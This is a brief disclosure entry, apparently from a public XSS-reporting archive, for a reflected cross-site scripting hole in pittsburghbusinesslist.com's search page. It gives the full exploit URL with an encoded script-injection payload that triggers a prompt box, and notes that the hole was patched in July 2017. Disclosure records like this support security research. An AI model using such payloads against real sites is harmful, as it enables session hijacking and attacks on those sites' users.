pittsburghbusinesslist.com XSS vulnerability

Vulnerable URL: http://www.pittsburghbusinesslist.com/search.asp?domains=www.pittsburghbusinesslist.com=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E+in+Pittsburgh+PA=Search Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.201...